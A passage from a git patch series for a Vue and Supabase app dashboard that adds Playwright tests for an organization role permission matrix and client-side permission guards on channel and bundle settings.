+        const supabase = await useSupabaseAdmin()
+
+        const { error: error1 } = await supabase.from('org_users')
+          .delete()
+          .eq('org_id', '046a36ac-e03c-4590-9257-bd6c9dba9ee8')
+
+        await expect(error1).toBeFalsy()
+
+        if (inviteType !== 'owner') {
+          const { error: error2 } = await supabase.from('org_users')
+            .insert({
+              user_id: '6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5',
+              user_right: `${inviteType}` as any,
+              org_id: '046a36ac-e03c-4590-9257-bd6c9dba9ee8',
+            })
+
+          await expect(error2).toBeFalsy()
+        }
+
+        const { data, error: error3 } = await supabase.from('channels')
+          .select('*')
+          .eq('app_id', 'com.demo.app')
+
+        await expect(error3).toBeFalsy()
+        await expect(data).toBeTruthy()
+
+        channelSnapshots = data
+      })
+
+      testWithInvitedUser.afterAll(async () => {
+        await expect(channelSnapshots).toBeTruthy()
+
+        const supabase = await useSupabaseAdmin()
+        const { error } = await supabase.from('channels').delete().eq('app_id', 'com.demo.app')
+
+        expect(error).toBeFalsy()
+
+        const { error: error2 } = await supabase.from('channels').insert(channelSnapshots!)
+        await expect(error2).toBeFalsy()
+      })
+
+      testWithInvitedUser('Test user permissions', async ({ page }) => {
+        const monthlyStatLocator = await (await page.locator('#mau-stat')).locator('#usage_val')
+
+        // We ALLWAYS expect app to be accesible. We are added to the org
+        let users = Number.parseInt((await monthlyStatLocator.innerText()).split(' ')[0])
+        await expect(users).toBeTruthy()
+        await expect(users).toBeGreaterThan(0) // Check if getting stats works
+
+        if (inviteType !== 'owner') {
+          const sharedAppsLocator = await page.locator('#shared')
+
+          const allSharedApps = await sharedAppsLocator.locator('#top_apps > tbody > tr').all()
+          await expect(allSharedApps).toHaveLength(1)
+          await allSharedApps[0].click()
+          await page.waitForURL('**\/com--demo--app')
+        }
+        else {
+          await page.goto(`${BASE_URL}/app/package/com--demo--app`)
+        }
+
+        // Check again. This time for specific app
+        users = Number.parseInt((await monthlyStatLocator.innerText()).split(' ')[0])
+        await expect(users).toBeTruthy()
+        await expect(users).toBeGreaterThan(0) // Check if getting stats works
+
+        const bundlesTotalSelector = await page.locator('#bundles-total')
+        const bundlesTotal = Number.parseInt(await bundlesTotalSelector.innerText())
+        await expect(bundlesTotal).toBeTruthy()
+        await expect(bundlesTotal).toBeGreaterThan(0) // Check if bundles graph work
+
+        // Test this down stripe (channels, bundles, devices, updates)
+        // None of those values should be zero. If it is then something is broken
+        const specificAppStats = await page.locator('#app-stats')
+        await Promise.all((await specificAppStats.locator('#stats-val').all()).map(async (stat) => {
+          const innerText = await stat.innerHTML()
+          const innerNumber = Number.parseInt(innerText)
+
+          await expect(innerNumber).toBeTruthy()
+          await expect(innerNumber).toBeGreaterThan(1)
+        }))
+
+        // go to 'channels'
+        await page.goto(`${BASE_URL}/app/p/com--demo--app/channels`)
+
+        // Get all channels for app from supabase
+        const supabase = await useSupabaseAdmin() // Client supabase
+        const { error: allChannelsSupabaseError, count: allChannelsCount } = await supabase
+          .from('channels')
+          .select('', { count: 'exact' })
+          .eq('app_id', 'com.demo.app')
+        await expect(allChannelsSupabaseError).toBeFalsy()
+
+        // Expect the channel table to have the same count as supabase
+        const allchannelsLocator = await page.locator('#custom_table > tbody > tr')
+        await expect(allchannelsLocator).toHaveCount(2)
+        const allChannels = await allchannelsLocator.all()
+
+        // Attempt to delete a channel. That is based on the permission matrix
+        await allChannels[0].locator('td:nth-child(5)').click()
+
+        if (permission.deleteChannel) {
+          await awaitPopout(page)
+          const cancelButton = await findPopoutButton(page, 'cancel')
+
+          await expect(cancelButton).toBeTruthy()
+          await cancelButton!.click()
+        }
+        else {
+          await expectPopout(page, 'Insufficient permissions')
+        }
+
+        // Attempt to create a channel (again, based on permission matrix)
+        await page.locator('#create_channel').click()
+
+        if (permission.addChannel) {
+          await expect(page.locator('#kdialog-input')).toBeVisible()
+          await page.locator('#kdialog-cancel').click()
+        }
+        else {
+          await expectPopout(page, 'Insufficient permissions')
+        }
+
+        const productionChannel = await firstItemAsync(allChannels, async (locator) => {
+          const innerHtml = await locator.innerHTML()
+          return innerHtml.includes('production')
+        })
+
+        await expect(productionChannel).toBeTruthy()
+        await productionChannel!.click()
+        await page.waitForURL('**\/com--demo--app/channel/22')
+      })
+    })
+  }
+})
+
 async function getAllMembers(page: Page) {
   await page.goto(`${BASE_URL}/dashboard/settings/organization/members`)
   await page.waitForTimeout(500)

From eb46c898733b9e6f874fbe6385b68e71c1382989 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 12 Nov 2023 08:20:57 +0100
Subject: [PATCH 57/96] Permission tests part 2 for channel

---
 src/components/ActionSheet.vue            |  2 +-
 src/components/tables/ChannelTable.vue    |  4 +-
 src/pages/app/p/[p]/channel/[channel].vue | 40 ++++++++--
 tests/organization_system.spec.ts         | 96 +++++++++++++++++++++++
 tests/selectable_disallow.spec.ts         |  4 +-
 5 files changed, 134 insertions(+), 12 deletions(-)

diff --git a/src/components/ActionSheet.vue b/src/components/ActionSheet.vue
index 634e723874..66024a960f 100644
--- a/src/components/ActionSheet.vue
+++ b/src/components/ActionSheet.vue
@@ -27,7 +27,7 @@ function close(item: ActionSheetOptionButton | undefined) {
     :opened="displayStore.showActionSheet"
     @backdropclick="close(undefined)"
   >
-    <div class="max-h-screen overflow-y-auto">
+    <div id="action-sheet" class="max-h-screen overflow-y-auto">
       <k-actions-group>
         <k-actions-label v-if="displayStore.actionSheetOption?.header">
           {{ displayStore.actionSheetOption.header }}
diff --git a/src/components/tables/ChannelTable.vue b/src/components/tables/ChannelTable.vue
index 549e279a9a..a901033ce3 100644
--- a/src/components/tables/ChannelTable.vue
+++ b/src/components/tables/ChannelTable.vue
@@ -323,9 +323,9 @@ watch(props, async () => {
       <template #title>
         {{ t('channel-create') }}
       </template>
-      <input v-model="newChannel" type="text" placeholder="Production" class="w-full p-1 text-lg text-gray-900 rounded-lg">
+      <input id="kdialog-input" v-model="newChannel" type="text" placeholder="Production" class="w-full p-1 text-lg text-gray-900 rounded-lg">
       <template #buttons>
-        <k-dialog-button class="text-red-800" @click="() => (addChannelModal = false)">
+        <k-dialog-button id="kdialog-cancel" class="text-red-800" @click="() => (addChannelModal = false)">
           {{ t('button-cancel') }}
         </k-dialog-button>
         <k-dialog-button @click="addChannel()">
diff --git a/src/pages/app/p/[p]/channel/[channel].vue b/src/pages/app/p/[p]/channel/[channel].vue
index 128d6e01f7..1fac34fce0 100644
--- a/src/pages/app/p/[p]/channel/[channel].vue
+++ b/src/pages/app/p/[p]/channel/[channel].vue
@@ -59,11 +59,11 @@ const tabs: Tab[] = [
     icon: IconInformations,
     key: 'info',
   },
-  {
-    label: t('shared-users'),
-    icon: IconUsers,
-    key: 'users',
-  },
+  // {
+  //   label: t('shared-users'),
+  //   icon: IconUsers,
+  //   key: 'users',
+  // },
   {
     label: t('channel-forced-devices'),
     icon: IconDevice,
@@ -402,7 +402,23 @@ function onMouseDownSecondaryVersionSlider(event: MouseEvent) {
   }
 }
 
+function guardChangeAutoUpdate(event: Event) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner'])) {
+    toast.error(t('no-permission'))
+    event.preventDefault()
+    return false
+  }
+}
+
 async function onChangeAutoUpdate(event: Event) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner'])) {
+    toast.error(t('no-permission'))
+    event.preventDefault()
+    if (channel?.value?.disableAutoUpdate)
+      (event.target as HTMLSelectElement).value = channel.value.disableAutoUpdate
+
+    return false
+  }
   const value = (event.target as HTMLSelectElement).value as Database['public']['Enums']['disable_update']
 
   if (value === 'version_number') {
@@ -462,10 +478,11 @@ async function onChangeAutoUpdate(event: Event) {
     <div v-if="channel && ActiveTab === 'settings'" class="flex flex-col">
       <div class="flex flex-col overflow-y-auto bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800">
         <dl class="divide-y divide-gray-500">
-          <k-list class="w-full mt-5 list-none border-t border-gray-200">
+          <k-list id="klist" class="w-full mt-5 list-none border-t border-gray-200">
             <k-list-item label :title="t('channel-is-public')" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
+                  id="ktoggle-def"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.public"
@@ -476,6 +493,7 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label title="iOS" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
+                  id="ktoggle"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.ios"
@@ -486,6 +504,7 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label title="Android" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
+                  id="ktoggle"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.android"
@@ -496,6 +515,7 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label :title="t('disable-auto-downgra')" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
+                  id="ktoggle"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.disableAutoUpdateUnderNative"
@@ -515,7 +535,7 @@ async function onChangeAutoUpdate(event: Event) {
             </k-list-item> -->
             <k-list-item label :title="t('disableAutoUpdateToMajor')" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
-                <select id="selectableDisallow" :value="channel.disableAutoUpdate" class="text-[#fdfdfd] bg-[#4b5462] rounded-lg border-4 border-[#4b5462]" @change="(event) => onChangeAutoUpdate(event)">
+                <select id="selectableDisallow" :value="channel.disableAutoUpdate" class="text-[#fdfdfd] bg-[#4b5462] rounded-lg border-4 border-[#4b5462]" @mousedown="guardChangeAutoUpdate" @change="(event) => onChangeAutoUpdate(event)">
                   <option value="major">
                     {{ t('major') }}
                   </option>
@@ -534,6 +554,7 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label :title="t('allow-develoment-bui')" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
+                  id="ktoggle"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.allow_dev"
@@ -544,6 +565,7 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label :title="t('allow-emulator')" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
+                  id="ktoggle"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.allow_emulator"
@@ -554,6 +576,7 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label :title="t('allow-device-to-self')" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
+                  id="ktoggle"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.allow_device_self_set"
@@ -564,6 +587,7 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label :title="t('channel-ab-testing')" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
+                  id="ktoggle"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.enableAbTesting"
@@ -574,6 +598,7 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label :title="t('channel-progressive-deploy')" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
+                  id="ktoggle"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.enable_progressive_deploy"
@@ -584,6 +609,7 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label :title="`${t('channel-ab-testing-percentage')}: ${secondaryVersionPercentage}%`" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-range
+                  id="second-percentage-slider"
                   :value="secondaryVersionPercentage"
                   class="-my-1 k-color-success"
                   component="div"
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index 100dbd3ae0..d434ae0581 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -177,22 +177,42 @@ test.describe('Test organization system permissions', () => {
     read: {
       deleteChannel: false,
       addChannel: false,
+      changeChannelToggle: false,
+      makeChannelDefault: false,
+      changeSelectableDisallow: false,
+      changeSecondVersionPercentageSlider: false,
     },
     upload: {
       deleteChannel: false,
       addChannel: false,
+      changeChannelToggle: false,
+      makeChannelDefault: false,
+      changeSelectableDisallow: false,
+      changeSecondVersionPercentageSlider: false,
     },
     write: {
       deleteChannel: false,
       addChannel: false,
+      changeChannelToggle: false,
+      makeChannelDefault: false,
+      changeSelectableDisallow: false,
+      changeSecondVersionPercentageSlider: false,
     },
     admin: {
       deleteChannel: true,
       addChannel: true,
+      changeChannelToggle: true,
+      makeChannelDefault: true,
+      changeSelectableDisallow: true,
+      changeSecondVersionPercentageSlider: true,
     },
     owner: {
       deleteChannel: true,
       addChannel: true,
+      changeChannelToggle: true,
+      makeChannelDefault: true,
+      changeSelectableDisallow: true,
+      changeSecondVersionPercentageSlider: true,
     },
   }
 
@@ -340,6 +360,82 @@ test.describe('Test organization system permissions', () => {
         await expect(productionChannel).toBeTruthy()
         await productionChannel!.click()
         await page.waitForURL('**\/com--demo--app/channel/22')
+
+        // Click on 'settings'
+        await page.click('li.mr-2:nth-child(3) > button:nth-child(1)')
+
+        const ktogglesSelector = await page.locator('#klist').locator('#ktoggle')
+        const ktoggles = await ktogglesSelector.all()
+        await expect(ktoggles.length).toBeGreaterThan(0) // We do not want to test nothing
+
+        // We do a loop, instead of promise.all. This is to prevent a race condition
+
+        for (const toggle of ktoggles) {
+          const oldState = await toggle.isChecked()
+          await toggle.click()
+          const newState = await toggle.isChecked()
+
+          if (permission.changeChannelToggle)
+            expect(newState).toBe(!oldState)
+
+          else
+            await expectPopout(page, 'Insufficient permissions')
+        }
+
+        // We check the 'public' switch. This swich opens up a menu so we cannot add this in the loop
+        const makeDefaultSwitchLocator = await page.locator('#klist').locator('#ktoggle-def')
+        await makeDefaultSwitchLocator.click()
+
+        if (permission.changeChannelToggle) {
+          await expect(page.locator('#action-sheet')).toBeVisible()
+          await page.locator('#action-sheet > div > button:nth-child(3)').click() // Click on 'cancel"
+        }
+        else { await expectPopout(page, 'Insufficient permissions') }
+
+        // Now we try to change selectableDisallow. This should fail for non admin/owner users
+
+        if (permission.changeSelectableDisallow) {
+          await page.locator('#selectableDisallow').selectOption({ value: 'version_number' })
+          const newSelectableDisallowValue = await page.locator('#selectableDisallow').inputValue()
+          await expect(newSelectableDisallowValue).toBe('version_number')
+        }
+        else {
+          // First click
+          await page.locator('#selectableDisallow').click()
+          await expectPopout(page, 'Insufficient permissions')
+
+          // Second force change val
+          const newSelectableDisallowValue = await page.locator('#selectableDisallow').inputValue()
+          await page.locator('#selectableDisallow').selectOption({ value: 'version_number' })
+          const selectableDisallowValue = await page.locator('#selectableDisallow').inputValue()
+
+          // Last check if even force fails
+          await expectPopout(page, 'Insufficient permissions')
+          await expect(newSelectableDisallowValue).toBe(selectableDisallowValue)
+        }
+
+        // Second version percentage slider
+        const sliderLocator = await page.locator('#second-percentage-slider')
+        await page.$eval('#second-percentage-slider', (element) => {
+          element.scrollIntoView()
+        })
+
+        const sliderRect = await sliderLocator.evaluate(slider => slider.getBoundingClientRect())
+        const xToClick = sliderRect.left + sliderRect.width * 0.5
+        const yToClick = sliderRect.bottom - sliderRect.height * 0.5
+
+        // We click in exacly half of the slider thus the % should be 50
+        const oldSliderVal = await sliderLocator.inputValue()
+        await page.mouse.click(xToClick, yToClick)
+        const newSliderVal = await sliderLocator.inputValue()
+
+        if (!permission.changeSecondVersionPercentageSlider) {
+          await expectPopout(page, 'Insufficient permissions')
+          expect(oldSliderVal).toBe(newSliderVal)
+        }
+        else {
+          expect(newSliderVal).toBe('50') // We click exacly in half and we are admin/owner
+        }
       })
     })
   }
diff --git a/tests/selectable_disallow.spec.ts b/tests/selectable_disallow.spec.ts
index 018fe97989..23d7109877 100644
--- a/tests/selectable_disallow.spec.ts
+++ b/tests/selectable_disallow.spec.ts
@@ -19,7 +19,7 @@ test('test selectable disallow (no AB)', async ({ page }) => {
   await goto(page, `${BASE_URL}/app/p/com--demo--app/channel/22`)
 
   // Click on 'settings'
-  await page.click('li.mr-2:nth-child(4) > button:nth-child(1)')
+  await page.click('li.mr-2:nth-child(3) > button:nth-child(1)')
 
   // Click on 'metadata'
   await page.locator('#selectableDisallow').selectOption({ value: 'version_number' })
@@ -82,7 +82,7 @@ test('test selectable disallow (with AB)', async ({ page }) => {
   await goto(page, `${BASE_URL}/app/p/com--demo--app/channel/23`)
 
   // Click on 'settings'
-  await page.click('li.mr-2:nth-child(4) > button:nth-child(1)')
+  await page.click('li.mr-2:nth-child(3) > button:nth-child(1)')
 
   // Enable AB testing
   await page.click('li.text-lg:nth-child(9) > label:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(2) > div:nth-child(1)')

From bf63530432f2acb3a836633909c86c2062ff39c3 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 12 Nov 2023 19:59:40 +0100
Subject: [PATCH 58/96] More tests

---
 src/components/ActionSheet.vue            |   2 +-
 src/components/package/InfoRow.vue        |   3 +-
 src/pages/app/p/[p]/bundle/[bundle].vue   |  21 +++-
 src/pages/app/p/[p]/channel/[channel].vue |   2 +-
 tests/organization_system.spec.ts         | 113 +++++++++++++++++++++-
 5 files changed, 134 insertions(+), 7 deletions(-)

diff --git a/src/components/ActionSheet.vue b/src/components/ActionSheet.vue
index 66024a960f..d5d68e7c37 100644
--- a/src/components/ActionSheet.vue
+++ b/src/components/ActionSheet.vue
@@ -27,7 +27,7 @@ function close(item: ActionSheetOptionButton | undefined) {
     :opened="displayStore.showActionSheet"
     @backdropclick="close(undefined)"
   >
-    <div id="action-sheet" class="max-h-screen overflow-y-auto">
+    <div id="action-sheet" :class="`max-h-screen overflow-y-auto ${!displayStore.showActionSheet ? 'hidden' : ''}`">
       <k-actions-group>
         <k-actions-label v-if="displayStore.actionSheetOption?.header">
           {{ displayStore.actionSheetOption.header }}
diff --git a/src/components/package/InfoRow.vue b/src/components/package/InfoRow.vue
index d5a8916d1b..cd317acb68 100644
--- a/src/components/package/InfoRow.vue
+++ b/src/components/package/InfoRow.vue
@@ -7,6 +7,7 @@ const props = defineProps<{
   value: string
   editable?: boolean
   isLink?: boolean
+  readonly?: boolean
 }>()
 
 const emit = defineEmits<{
@@ -34,7 +35,7 @@ watch(rowInput, debounce(() => {
       }"
     >
       <div class="flex flex-row">
-        <input v-if="editable" v-model="rowInput" class="block w-full p-1 text-gray-900 bg-white border border-gray-300 rounded-lg dark:bg-gray-50 md:w-1/2 dark:border-gray-600 focus:border-blue-500 dark:bg-gray-700 sm:text-xs dark:text-white focus:ring-blue-500 dark:focus:border-blue-500 dark:focus:ring-blue-500 dark:placeholder-gray-400">
+        <input v-if="editable" id="inforow-input" v-model="rowInput" class="block w-full p-1 text-gray-900 bg-white border border-gray-300 rounded-lg dark:bg-gray-50 md:w-1/2 dark:border-gray-600 focus:border-blue-500 dark:bg-gray-700 sm:text-xs dark:text-white focus:ring-blue-500 dark:focus:border-blue-500 dark:focus:ring-blue-500 dark:placeholder-gray-400" :readonly="!!props.readonly">
         <span v-else> {{ computedValue.value }} </span>
         <div style="margin-left: auto">
           <slot />
diff --git a/src/pages/app/p/[p]/bundle/[bundle].vue b/src/pages/app/p/[p]/bundle/[bundle].vue
index a0deaa0ad7..971d3ecc2a 100644
--- a/src/pages/app/p/[p]/bundle/[bundle].vue
+++ b/src/pages/app/p/[p]/bundle/[bundle].vue
@@ -537,6 +537,21 @@ async function saveCustomId(input: string) {
 //   const fail = version_meta.value?.fails || 1
 //   return `${Math.round((fail / total) * 100).toLocaleString()}%`
 // })
+
+function guardMinAutoUpdate(event: Event) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner', 'write'])) {
+    toast.error(t('no-permission'))
+    event.preventDefault()
+    return false
+  }
+}
+
+function preventInputChangePerm(event: Event) {
+  if (!organizationStore.hasPermisisonsInRole(role.value, ['admin', 'owner', 'write'])) {
+    event.preventDefault()
+    return false
+  }
+}
 </script>
 
 <template>
@@ -553,15 +568,15 @@ async function saveCustomId(input: string) {
             <!-- Checksum -->
             <InfoRow v-if="version.checksum" :label="t('checksum')" :value="version.checksum" />
             <!-- Min update version -->
-            <InfoRow v-if="channel?.disableAutoUpdate === 'version_number'" :label="t('min-update-version')" editable :value="version.minUpdateVersion ?? ''" @update:value="saveCustomId" />
+            <InfoRow v-if="channel?.disableAutoUpdate === 'version_number'" id="metadata-bundle" :label="t('min-update-version')" editable :value="version.minUpdateVersion ?? ''" :readonly="!organizationStore.hasPermisisonsInRole(role, ['admin', 'owner', 'write'])" @click="guardMinAutoUpdate" @update:value="saveCustomId" @keydown="preventInputChangePerm" />
             <!-- meta devices -->
             <InfoRow v-if="version_meta?.devices" :label="t('devices')" :value="version_meta.devices.toLocaleString()" />
             <InfoRow v-if="version_meta?.installs" :label="t('install')" :value="version_meta.installs.toLocaleString()" />
             <InfoRow v-if="version_meta?.uninstalls" :label="t('uninstall')" :value="version_meta.uninstalls.toLocaleString()" />
             <InfoRow v-if="version_meta?.fails" :label="t('fail')" :value="version_meta.fails.toLocaleString()" />
             <!-- <InfoRow v-if="version_meta?.installs && version_meta?.fails" :label="t('percent-fail')" :value="failPercent" /> -->
-            <InfoRow v-if="showChannel" :label="t('channel')" :value="(channel!.enableAbTesting || channel!.enable_progressive_deploy) ? (secondaryChannel ? `${channel!.name}-B` : `${channel!.name}-A`) : channel!.name" :is-link="true" @click="openChannel()" />
-            <InfoRow v-else :label="t('channel')" :value="t('set-bundle')" :is-link="true" @click="openChannel()" />
+            <InfoRow v-if="showChannel" id="open-channel" :label="t('channel')" :value="(channel!.enableAbTesting || channel!.enable_progressive_deploy) ? (secondaryChannel ? `${channel!.name}-B` : `${channel!.name}-A`) : channel!.name" :is-link="true" @click="openChannel()" />
+            <InfoRow v-else id="open-channel" :label="t('channel')" :value="t('set-bundle')" :is-link="true" @click="openChannel()" />
             <!-- session_key -->
             <InfoRow v-if="version.session_key" :label="t('session_key')" :value="hideString(version.session_key)" :is-link="true" @click="copyToast(version?.session_key || '')" />
             <!-- version.external_url -->
diff --git a/src/pages/app/p/[p]/channel/[channel].vue b/src/pages/app/p/[p]/channel/[channel].vue
index 1fac34fce0..127b370616 100644
--- a/src/pages/app/p/[p]/channel/[channel].vue
+++ b/src/pages/app/p/[p]/channel/[channel].vue
@@ -619,7 +619,7 @@ async function onChangeAutoUpdate(event: Event) {
                 />
               </template>
             </k-list-item>
-            <k-list-item label :title="t('unlink-bundle')" class="text-lg text-red-500" link @click="openPannel" />
+            <k-list-item id="unlink-bundle" label :title="t('unlink-bundle')" class="text-lg text-red-500" link @click="openPannel" />
           </k-list>
         </dl>
       </div>
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index d434ae0581..cd4bf97aee 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,5 +1,5 @@
 // import type { Page } from '@playwright/test'
-import type { Page } from '@playwright/test'
+import type { Locator, Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
 import { A, E } from 'ios/App/App/public/assets/Account-fa6ef73d'
 import type { SupabaseType } from './utils'
@@ -181,6 +181,9 @@ test.describe('Test organization system permissions', () => {
       makeChannelDefault: false,
       changeSelectableDisallow: false,
       changeSecondVersionPercentageSlider: false,
+      unlinkBundle: false,
+      setBundleToChannel: false,
+      setBundleMetadata: false,
     },
     upload: {
       deleteChannel: false,
@@ -189,6 +192,9 @@ test.describe('Test organization system permissions', () => {
       makeChannelDefault: false,
       changeSelectableDisallow: false,
       changeSecondVersionPercentageSlider: false,
+      unlinkBundle: false,
+      setBundleToChannel: false,
+      setBundleMetadata: false,
     },
     write: {
       deleteChannel: false,
@@ -197,6 +203,9 @@ test.describe('Test organization system permissions', () => {
       makeChannelDefault: false,
       changeSelectableDisallow: false,
       changeSecondVersionPercentageSlider: false,
+      unlinkBundle: true, // Important: Write HAS unlink bundle
+      setBundleToChannel: true,
+      setBundleMetadata: true,
     },
     admin: {
       deleteChannel: true,
@@ -205,6 +214,9 @@ test.describe('Test organization system permissions', () => {
       makeChannelDefault: true,
       changeSelectableDisallow: true,
       changeSecondVersionPercentageSlider: true,
+      unlinkBundle: true,
+      setBundleToChannel: true,
+      setBundleMetadata: true,
     },
     owner: {
       deleteChannel: true,
@@ -213,11 +225,15 @@ test.describe('Test organization system permissions', () => {
       makeChannelDefault: true,
       changeSelectableDisallow: true,
       changeSecondVersionPercentageSlider: true,
+      unlinkBundle: true,
+      setBundleToChannel: true,
+      setBundleMetadata: true,
     },
   }
 
   for (const [inviteType, permission] of new Map(Object.entries(permissionMatrix))) {
     let channelSnapshots = null as Database['public']['Tables']['channels']['Row'][] | null
+    let bundleSnapshot = null as Database['public']['Tables']['app_versions']['Row'] | null
 
     test.describe(`Test organization system permissions (${inviteType})`, () => {
       test.describe.configure({ mode: 'serial' })
@@ -255,11 +271,20 @@ test.describe('Test organization system permissions', () => {
         await expect(error3).toBeFalsy()
         await expect(data).toBeTruthy()
 
+        const { data: bundleVersion, error: error4 } = await supabase.from('app_versions')
+          .select('*')
+          .eq('id', '9601')
+          .single()
+
+        await expect(error4).toBeFalsy()
+
         channelSnapshots = data
+        bundleSnapshot = bundleVersion
       })
 
       testWithInvitedUser.afterAll(async () => {
         await expect(channelSnapshots).toBeTruthy()
+        await expect(bundleSnapshot).toBeTruthy()
 
         const supabase = await useSupabaseAdmin()
         const { error } = await supabase.from('channels').delete().eq('app_id', 'com.demo.app')
@@ -268,6 +293,12 @@ test.describe('Test organization system permissions', () => {
 
         const { error: error2 } = await supabase.from('channels').insert(channelSnapshots!)
         await expect(error2).toBeFalsy()
+
+        const { error: error3 } = await supabase.from('app_versions').delete().eq('id', '9601')
+        await expect(error3).toBeFalsy()
+
+        const { error: error4 } = await supabase.from('app_versions').insert(bundleSnapshot!)
+        await expect(error4).toBeFalsy()
       })
 
       testWithInvitedUser('Test user permissions', async ({ page }) => {
@@ -389,6 +420,7 @@ test.describe('Test organization system permissions', () => {
         if (permission.changeChannelToggle) {
           await expect(page.locator('#action-sheet')).toBeVisible()
           await page.locator('#action-sheet > div > button:nth-child(3)').click() // Click on 'cancel"
+          await expect(page.locator('action-sheet')).toBeHidden()
         }
         else { await expectPopout(page, 'Insufficient permissions') }
 
@@ -436,6 +468,85 @@ test.describe('Test organization system permissions', () => {
         else {
           expect(newSliderVal).toBe('50') // We click exacly in half and we are admin/owner
         }
+
+        // Unlink bundle click
+        await page.locator('#unlink-bundle').click()
+
+        if (permission.unlinkBundle) {
+          await expect(page.locator('#action-sheet')).toBeVisible()
+          await page.locator('#action-sheet > div > button:nth-child(2)').click() // Click on 'cancel"
+          await expect(page.locator('#action-sheet')).toBeHidden()
+        }
+        else {
+          await expectPopout(page, 'Insufficient permissions')
+        }
+
+        // So the channel test are FINALY done. Now let's do bundle.
+        await page.goto(`${BASE_URL}/app/p/com--demo--app/bundles`)
+
+        // Make sure we can see the bundles table
+        const allBundles = await page.locator('#custom_table > tbody > tr')
+        await page.waitForTimeout(100)
+        await expect(await allBundles.count()).toBeGreaterThan(0)
+
+        // Set supabase prod channel to 'metadata' disallow strategy
+        const { error: errorSetMetadataOnProd } = await supabase.from('channels')
+          .update({ disableAutoUpdate: 'version_number', version: 9601 })
+          .eq('name', 'production')
+
+        await expect(errorSetMetadataOnProd).toBeFalsy()
+
+        // Go to a specific bundle
+        await page.goto(`${BASE_URL}/app/p/com--demo--app/bundle/9601`)
+
+        // Click on `Channel` to see the options available
+        await page.locator('#open-channel').click()
+        await expect(page.locator('#action-sheet')).toBeVisible()
+
+        // Get all buttons
+        const actionSheetButtons = await page.locator('#action-sheet > div > button').all()
+
+        // Define a function to find a button. Usefull for further testing
+        async function findButtonInActionSheet(actionSheetButtons: Locator[], text: string) {
+          return firstItemAsync(actionSheetButtons, async (button) => {
+            const innerHTML = await button.innerHTML()
+            return innerHTML.toLowerCase().includes(text.toLowerCase())
+          })
+        }
+
+        const setBundleToChannelButton = await findButtonInActionSheet(actionSheetButtons, 'Set bundle to channel')
+        const unlinkButton = await findButtonInActionSheet(actionSheetButtons, 'unlink')
+
+        if (permission.setBundleToChannel) {
+          await expect(setBundleToChannelButton).toBeTruthy()
+          await expect(unlinkButton).toBeTruthy()
+        }
+        else {
+          await expect(setBundleToChannelButton).toBeFalsy()
+          await expect(unlinkButton).toBeFalsy()
+        }
+
+        const cancelButton = await findButtonInActionSheet(actionSheetButtons, 'cancel')
+        await expect(cancelButton).toBeTruthy()
+
+        await cancelButton!.click()
+        await expect(page.locator('action-sheet')).toBeHidden()
+
+        await page.locator('#metadata-bundle').click()
+
+        // If we have the setBundleMetadata perm nothing should happen, but we should be able to input.
+        // This is tested in the `selectable_disallow.spec.ts` so I will not touch it here
+
+        if (!permission.setBundleMetadata) {
+          // See, but if we do not have the permission we should get a popout
+          await expectPopout(page, 'Insufficient permissions')
+
+          const readonly = await page.$eval('#inforow-input', (element) => {
+            return element.hasAttribute('readonly')
+          })
+
+          expect(readonly).toBe(true)
+        }
       })
     })
   }

From d12b69106e22d5b5c671661ef11d9d597c8e7eb4 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 13 Nov 2023 06:27:41 +0100
Subject: [PATCH 59/96] Clientside prevent device set custom_id

---
 src/pages/app/p/[p]/d/[device].vue          | 33 ++++++++++++++++++++-
 supabase/migrations/20230815171919_base.sql |  7 +++++
 2 files changed, 39 insertions(+), 1 deletion(-)

